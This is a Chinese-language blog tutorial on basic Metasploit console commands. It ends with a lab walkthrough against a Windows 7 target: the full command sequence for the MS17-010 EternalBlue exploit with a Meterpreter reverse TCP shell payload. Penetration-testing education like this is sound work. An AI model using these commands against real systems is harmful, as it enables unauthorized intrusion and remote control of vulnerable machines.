欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

MSF:渗透之旅

程序员文章站 2022-03-24 08:37:34
...

渗透基础

1、show命令

Metasploit框架中包含数百个模块,没有人能用脑子把他们的名字全部记下来。在MSF终端中,运行show命令会把所有模块显示出来。

show exploits   //会显示MSF中所有可用的渗透攻击模块
show auxiliary  //会显示所有的辅助模块以及它们的用途
show options    //保证MSF框架中各个模块正确运行所需的各种设置
show payloads   //会显示与当前模块兼容的攻击载荷
show targets    //列出收到特定漏洞影响目标系统的类型

2、info命令

当觉得showsearch命令所提供的信息过于简短,可以使用info命令加上模块的名字来显示此模块的详细信息、参数说明以及所有可用的目标操作系统:(如果已选择了某个模块,直接在该模块的提示符下输入info即可)

MSF:渗透之旅

3、set和unset

  • MSF模块中的所有参数只有两个状态:已设置(set)或未设置(unset)
  • 使用set命令可以对某个参数进行设置(同时启用该参数)
  • 使用unset命令可以禁用相关参数

4、setg和unsetg

  • setgunsetg命令能够对全局参数进行设置或清除
  • 使用这组命令让你不必每次遇到某个参数都要重新设置,特别是那些经常用到又很少会变的参数,如LHOST​​​​​​​

5、save

  • 在使用setg命令对全局参数进行设置后,可以使用save命令将当前的设置值保存下来,这样在下次启动MSF终端时还可使用这些设置值
  • 在MSF中可以在任何时候输入save命令保存当前状态
  • 在命令执行结果中包含设置值保存在磁盘上的位置(/root/.msf5/config),如果由于一些原因需要恢复到原始设置,可以将这个文件删除或移动到其他位置。

模拟渗透

靶机:win7 X64 SP1

测试机:KALI

search ms17-010
use windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.X.X
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

MSF:渗透之旅

 

 

相关标签: Metasploit